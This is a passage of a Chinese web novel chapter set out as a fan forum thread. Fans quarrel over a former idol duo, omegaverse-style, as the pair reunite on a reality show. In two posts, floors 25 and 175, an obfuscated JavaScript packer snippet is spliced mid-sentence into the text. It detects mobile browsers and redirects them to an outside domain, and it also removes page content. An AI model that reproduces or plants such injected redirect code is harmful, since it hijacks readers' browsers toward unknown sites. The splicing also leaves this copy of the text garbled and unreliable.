主要还是时间太久了。十年了,说真的当年也是血雨腥风,但sy那次事故以后就不怎么唱歌,xsq更是直接跑去国外演戏去了。 我本来是sy的唯粉,但看着他俩同框只会想起来当年我追sy的时候还是个清纯无比的毒妇…… 8L 难道不是邵狗实在不作为,出了事就让xsq出来挡枪,所以你们邵粉对xsq根本不好意思喷吗? 永远忘不掉xsq每次出来澄清sy的绯闻,都被喷的体无完肤哈。邵姐真是大脑如小脑,极度擅长一忘皆空岁月史书啊。 9L 刑狗的粉丝还活着啊?这么多年我还以为你们物种灭绝了,xsq舔狗人设吸血邵有谁不知道,傍着sy舔到了那么多饼自己偷着乐就行了,出来澄清两句又不会少块肉。 10L 【视频】邵丝真来岁月史书了?睁大眼睛好好看看xsq在发布会差点被人摁着打,你敢说不是你们邵粉的锅?真少块肉了你是不是要说xsq割肉奉邵啊,真把你家太子当全世界的爹了恨不得大家都孝顺。 11L 楼管呢过来封人。这边要打起来了。 12L 新粉,看xsq的脸进来的,有没有人科普一下他俩啥情况。 13L 真新假新,看来刑这么多年还是能靠脸吃饭 14L 他在组合里那时候就是靠脸吃饭啊……练习室花絮躺在地板上看镜头给我萌晕了……宝宝…… 15L 楼主 扒拉出来了当初给红绿做的文案物料。 首先在你面前的是,手握最佳新人、最佳MV、最佳作曲的怪物新人组合,空降各大平台并占领排行榜第一连续三周,打败了各色组合拿到年冠的“red and green”。 16L ……噢,no,我不怎么听音乐,只是想看两个帅哥啵嘴。所以有没有别的饭能蹭的? 17L 楼主 ……也行。 他俩一开始出道的时候因为长得都不错,所以自然有人嗑,各种滤镜慢镜头公司营销,慢慢就把这对cp炒起来了。 当年一般卖的都是ao,他俩ab嘛,很新鲜,一下子杀出重围,加上卖的也大 【图片】【图片】同款就不说了,sy是个严重洁癖,但是xsq有次在舞台上摔了,他最先冲上去把人抱起来……懂得都哭了。 【视频】还有一大堆相处花絮我就不说了,这么说吧,凡是嗑cp的大部分都是吃过他俩饭的。 不过到了出道后期,差不多某秦出现的时候他俩就明显掰了,后边不止一次传出两人关系不和的消息。 差不多就是这样,嗑过期糖可以扒扒出道第一年的物料,想吃shi的话就去看第二年的。嗑恨海情天脑补“alpha出轨了但还爱我”的狗血剧情可以看三人合作舞台。 想看xsq独美可以看他参加的综艺和采访视频。 想和楼主一样丧尽天良要看他们十年后复婚的可以看《再爱》 18L 再爱这个节目真的不是为了专门气人存在的吗……究竟是谁想看xsq和八个前任再续前缘 好吧我想。 主要我真的嗑过。 19L 其他人不知道,主要sy和xsq真的很可惜啊!!那场大火……唉。 我都没想到xsq还能继续混圈,不是说他烧伤很严重 20L 难道只有我觉得sy愿意当嘉宾就足够证明他俩爱过了吗? 他之前不是说过综艺就像把一群人放在节目上当猴子,让观众看他们演 21L 作为双担偏邵我澄清一下,sy是真的很讨厌表演。他有说过不喜欢演戏,太假了。 所以上综艺真的很震撼…… 22L 又心疼上了,老邵那破公司都要被奇桓搞倒闭了,天天仲裁卖股权,他上个综艺讨点饭钱有什么不能理解的 23L 哪里又来条狗在叫?比起sy难道不是你家水帝(*刑少奇黑称)更可能上节目讨饭吗? 不然真要立清醒独立大男主人设还和前任纠缠拍这个破综艺干嘛? 不就是自己那些水作不卖座挣不到钱。 前两年装得无事发生自己偷偷跑了不混圈,现在莫名其妙冒出来就是蹭前任热度,要不要脸。 24L ……一直吃瓜本来挺有乐子的怎么莫名其妙被攻击了,xsq那部片在国外票房高的吓人…… 我一直以为国内xsq人气低是误会,没想到居然是真的 我这里有资源,分享给大家看一下吧【链接】 真的实至名归。不要被水帝的名头吓到,得自己看了才能评价。 25L 楼上xsq买的水军啊?谁要看注水烂片,看完和你们一样脑子进水了谁赔我医药费。 而且想要别人免费给你拉点击量起码得花点钱吧,粉丝和正主一样穷。 真要帮水帝说话不如给他募捐打点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859375|155233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱让他少蹭我们邵宝热度,十年前的前任还要蹭够不要脸,以后别叫水帝叫脸帝算了。 26L ……神经啊,楼管快把这个嘴臭的家伙踢出去@管理员 27L 作为刑粉本来已经准备键盘起火了看到点击量瞬间理解了。 邵家军这么多年大脑萎缩的毛病还是没治好。难道没人告诉你们看盗版是不影响正版的点击的吗? 噢可能是一直看盗版所以不知道这个事情吧。 28L 新粉稍微看了一点,好嗑啊!! 【图片】【图片】【图片】好多糖,好好嗑,比现在的那些工业糖精好嗑多了,我吃我吃。 呵呵呵ab好饭真是好吃,而且我发现【视频】这段采访里xsq说自己练习动作的时候有些地方跳得不好 【视频】然后邵阎听了就在纸上不知道画了啥 【视频】演唱会的时候这个动作就被改掉了 29L 楼主 不止。 30L 新粉你既然都看到这里了,不如再去看看他俩的年末舞台。本来是sy拿着奖杯要发言,但是他一伸手就把奖杯放刑少奇手里了。 31L 我们邵刑祖上可是富过的…… 32L ……这个秦然谁啊,我靠,不是 33L 噢,来了。所有cp粉必备的破防环节。 别怕,等看到后面他和sy传出绯闻、在节目上各种茶艺表演、时不时栽倒在sy怀里说哥哥对不起的时候,你就会和我一样气到腺体增生了。 34L 我不要吃狗血饭啊啊啊啊!!!!我只想看ab啵嘴为何如此艰难TTTT …… 69L楼主 有没有谁在等着再爱的,请举手。 70L 除了cp粉还有谁在看,一个濒临破产的穷光蛋和水帝真有可能善终吗? 71L 路人,你们别说xsq这么多年了脸居然…… 72L …… 73L 天杀的我一看这就是我失散多年的老公啊TTTTTTT 74L 比电影里还好看,怎么回事…… 75L 难怪邵阎那犟种放着公司不管也要上综艺呢,我擦,他当年怎么想的,放着xsq不要居然选qr 76L 一开始就是访谈啊?好无聊,能看这综艺的谁还需要听他俩自我介绍 77L 节目组后期加一下履历不就行……我靠,双人访谈啊!! 不是这就直接再回直接重逢了??? 78L ……刑少奇说错了吧,他不是beta吗 79L “早年分化期的时候出了车祸,大出血,导致腺体没有发育完全,所以当时被认定为beta。后来……” “经过alpha信息素的刺激治疗,现在腺体恢复,所以又成了omega。” 谁的信息素啊??不是说只有高浓度的、高匹配度的信息素才能这么治疗吗??? 80L 这么高的匹配度怎么可能没有标记结合??刑狗这么多年是不是脑子坏了,上节目直播找小三啊? 21.论坛·前爸妈复婚了我又出生了 81L 节目组辟谣了,xsq单身无恋情哈 82L 能把和自己高匹配度的alpha搞没也是种能力,不都说ao匹配度高会形成本能的好感吗,这都没被看上刑狗肯定干了点人干不出来的事儿 83L 那邵阎也没和秦然在一起啊,这时候你们就说邵阎是个有自制力的深情alpha了,哪来的双标狗 84L 【视频】 sy你…… 85L “给信息素是浪费” ……**的,一股普信a味直冲天灵盖 真把你的信息素当恩赐啊.jpg 86L ……也没什么问题吧,给beta信息素就是很浪费啊! 87L a、b、o们都不要被上面的普信a发言骗哈,信息素又不是不可再生资源,谈什么浪不浪费 这辈子听说过浪费水浪费石油浪费食物,还没听说过浪费信息素的,人抽血抽多了能抽死,但可没听说过有谁信息素放多了给自己放死了 88L 我们大a主义是这样的,平时流血流泪不流汗,实际上多放点信息素就感觉自己时日无多了 89L 问题sy和qr匹配度那么高也没见他标记人家啊? 90L ……给xsq是浪费,给qr是不想给,这辈子见过抠门的没见过抠信息素的 91L 只有我有点心疼吗,阎宝肯定是在口是心非啊,放着秦然那种高匹配的o不要,压抑着自己的本能也要和刑在一起……好深情 92L 其实这说明他是想给刑少奇信息素的?只是觉得浪费? 93L 直接说俩人他都没看上不就完了。 做了标记给了信息素,别人一闻就知道在一起了,那还怎么玩大三角 94L 对啊,两边都不负责的借口罢了,搞得像是他不喜欢秦然所以不愿意,喜欢刑少奇又因为对方是个beta,所以只能放弃—— 那就不要在俩人直接搞暧昧啊!直接俩都放弃找个又喜欢匹配度又高的呗 95L 初见地点我知道,肯定是练习室或者考核 当时公司所有练习生都一块练习的 96L sy是走后门的啊,他直接空降的,都没排过班考核过 97L 啊?死关系户!!! 98L 楼主 sy:“凌晨两点,我看到他还在。所以和经纪人说,想选他。” 我就知道这个节目没白看TTTTT好吃啊好吃 一见钟情好好好 99L 什么霸a看上坚韧小白o情节,好俗……居然是因为xsq努力喜欢的 我也努力啊努力的结果是大家把活都堆给我TTTT 100L 我也想问为什么这么努力但没出道 xsq能力很强啊 101L 考核没过?不是说他之前出了车祸身体不好 102L 【视频】 103L “我还以为,你是觉得帮秦然抢了我的位置,所以想要补偿。” ……我*,我*??? 104L 还有黑幕???qr你死了 105L 不是,sy,你什么情况,你抢了别人位置还把自己当救世主啊? 106L 假的吧,这种事情谁敢搬上来说啊 107L 邵阎你…… 108L 邵阎你找点证据反驳啊!!急死我了,都一见钟情了肯定是误会 109L 黑幕也正常啊,刑狗叫什么??那邵阎一邵家大少爷换个人肯定可以啊,这有啥的 xsq这么多年还记着真是小肚鸡肠 110L 楼上你护sy护得脸都不要了?这跟顶替奖学金、冒领录取通知、抢占别人的名额有什么区别? 111L 不如说要不是xsq现在有能力了,否则这件委屈他真得打碎了牙齿还往肚子里咽 112L 刑说是秦然告诉他的,那可信度有点低啊,秦也不是什么好人,挑拨离间呢 113L +1,没啥实锤,xsq空口无凭的就往sy身上泼脏水有点那个 114L 【视频】 邵阎以前采访说过自己看过xsq很多练习视频的,怎么可能会刻意黑幕 115L ……我去 116L 刑说的对啊,要是看过的话,怎么可能不知道刑的那个位置就是秦然后面的出道位置 117L ……我服了能不能把sy赶出去,他这么护着qr还来节目干什么? 118L 我真的没想过白月光烂掉是这种感觉……好自大好傲慢而且一点都不听人话,xsq说了那么多他还要查查查,先查查你的脑子好不好!! 119L sy这家伙为什么满嘴谎话一点都不心虚的啊??前一秒说自己一见钟情,后面扒出采访就是“看过xsq的舞台”,然后又说不知道xsq被顶替的事情 他自己不觉得矛盾吗?? 120L 当年我真的被他骗了,我真服了 121L 你们一个二个的造谣什么啊??就不能是记错了吗??这么多年了谁记得那些细节啊。xsq说什么你们就信什么有没有脑子?? 122L 没有证据我是不相信的,不过sy语焉不详的也够奇怪 …… 165L 楼主 上面吵架的都删了,大家不要为这种过期夫夫吵架……我以为他俩这么多年人气早下去了,没想到还是这么血雨腥风哈,作为cp粉看他俩当初不明不白的结束,觉得很遗憾才来看这档节目的。 虽然我也被早上的黑幕瓜吓到,不过这都十年前的事情了,他们敢说我们就当乐子看,不用真情实感 166L +1,追星追个乐子不要影响到生活,小心腺体增生 167L 下午是去哪里?说是故地重游,他俩有什么故地?公司? 168L 公司不是早搬迁了吗 169L 好像那栋楼还留着,只是不怎么用了 170L 真是公司……好怀念 我记得我之前就是在这里对刑宝一见钟情的【视频】 当时他还没出道呢 171L 什么上古画质,xsq看起来好小啊??我天 172L wok这是他啊???我记得这是短视频刚流行的时候火的一段,原来他那时候就火过一次了 173L 【图片】xsq一直在看发布厅,他也很想念这里吧 174L ……楼上是在讽刺还是真心的,他想念什么,想念给队友辟谣绯闻,想念独自一个人为组合黑料道歉? 175L 笑不出来,xsq当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14864431|155233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初在组合真的没对不起任何人。邵阎犯错他顶着,组合被造谣抄袭他道歉,到后面和秦然合作的舞台被粉丝抵制还是他出面发表声明。 说真的sy粉丝你们自己也觉得这方面他没什么错能挑吧??有时刑队长无事刑舔狗,非粉听了都流泪 176L sy你还记得是因为你骂记者xsq才要道歉啊??我服了 我以为你装聋作哑久了自己都骗过自己了呢 177L ……但是那个记者确实该骂,说是采访实际一直问他俩到底是不是在谈 178L 楼主 但是那刑少奇作为队长出来替队友道歉也正常 我并不是为sy开脱啊,他确实做的不对,只是xsq这么干也不是独一份,其他团也有队长替队友道歉的 179L ……队长为队友的绯闻道歉也正常吗? 180L 楼主 …… 181L ……我靠,好**** 182L 楼主 那次道歉不是xsq??? 那次sy半夜私会的不是xsq??? 我、、你、、不是 我当时特别嗑邵刑,就是他俩类似的辟谣发布会特别多,每次都是xsq出来辟谣,半夜、私会、还被狗仔拍到,我甚至那时候会专门搜集小报就是为了看sy的绯闻 我真以为那是xsq!! 183L ……我是sy粉丝,合着邵阎大半夜出去不是和xsq约会??wok…… 184L 这是什么抓马剧情,sy和小三约会,正宫给他开发布会遮掩 意思xsq在媒体面前鞠躬道歉被要求下跪的时候,你邵阎在和小三缠缠绵绵甜甜蜜蜜是吗,是吗?!! 185L 什么血糖啊,我……我真的为嗑过他俩觉得羞耻了 这哪里是糖这就是拿着xsq做挡箭牌……我真的觉得好恶…… 186L 【视频】 是这段采访视频吧……我的天…… 凌晨五点直播,刑少奇是刚知道男友和小三约会,下一秒就爬起来给他们遮掩吗?狗公司我hdsfjosl,邵阎你更是jiewoufpd 187L 【视频】【视频】还不止一次……我的天啊…… 怎么不分手啊??就这么被sy羞辱?? 太爱了吧…… 188L 怎么分啊,出道前就黑幕把你位置抢了,出道后一荣俱荣一损俱损,逃不掉的 189L sy还说不是绯闻??? 不是绯闻是什么??非要拍到你和qr的颠鸾倒凤才算数啊?嘴真硬 190L 我真的……拳头捏紧了…… 没有标记过秦然就不是绯闻……sy不然治治脑子吧 你俩还没有逾矩的行为啊??后期台上你俩不要太暧昧 191L 有种巴掌扇不进屏幕的无力感……谁能代打sy 192L 不是绯闻就正大光明磋磨xsq了呗??xsq欠你们的啊??自己出来道歉出来承担那么困难吗?我要气死了 193L 我听说他真欠……xsq出道的时候不是欠着医药费吗,是sy帮忙还的…… 194L …… 195L 话又说回来…… 196L 这个圈内的都知道哈,我补充一下,后面xsq把钱还了,所以他俩在组合后期才传出来闹掰的